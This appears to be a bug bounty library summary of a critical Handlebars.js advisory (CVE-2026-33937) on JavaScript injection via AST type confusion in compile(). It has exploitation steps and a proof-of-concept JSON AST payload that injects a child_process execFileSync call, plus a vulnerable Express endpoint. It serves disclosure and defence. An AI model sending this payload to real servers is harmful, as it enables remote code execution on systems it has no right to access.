# Handlebars.js has JavaScript Injection via AST Type Confusion

Handlebars.compile() emits NumberLiteral AST values unescaped into generated JS, letting a crafted AST injected via JSON reach RCE.

- Payout: Research
- Severity: critical
- Program: Handlebars.js
- Found by: RealHurrison
- Disclosed: 2026-03-27
- CVE: CVE-2026-33937
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-2w6w-674q-4c4q
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-2w6w-674q-4c4q
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:command-injection vuln:rce

**Target:** Handlebars.compile() JavaScript code generator (javascript-compiler.js)
**Root cause:** compile() accepts a pre-parsed AST object, and the NumberLiteral node's `value` field is concatenated verbatim into generated JavaScript without quoting or sanitization, breaking out of the intended expression context.
**Steps:**
1. Identify an endpoint that passes user-controlled JSON (e.g. `req.body.text`) directly to `Handlebars.compile()`.
2. Craft an AST Program with a MustacheStatement calling `lookup` whose second param is a NumberLiteral.
3. Set NumberLiteral `value` to `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //`.
4. POST the JSON to `/api/render`; the generated code is eval'd and the `id` output is returned in the response body.
**How found:** Code review of the JavaScript code generator: noticed NumberLiteral.value is appended to generated code without escaping, then reasoned that since compile() accepts AST objects, a string value on a numeric node would break out of context.
**Exploitation:** Attacker supplies a JSON AST to any endpoint that deserializes JSON and forwards it to Handlebars.compile(). The injected NumberLiteral value closes the generated expression and appends a child_process.execFileSync call, executing arbitrary commands server-side; output is reflected in the rendered response.
**Insight:** When a compiler API accepts both strings and pre-parsed ASTs, audit every node field that is emitted verbatim into generated code — type confusion on a 'literal' node (string in a numeric slot) is a direct injection primitive.

## Proof of concept (copied exactly from the original report)

**Malicious JSON AST payload with injected NumberLiteral value**

```
{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
```

**Express endpoint passing body to compile**

```
app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);
```

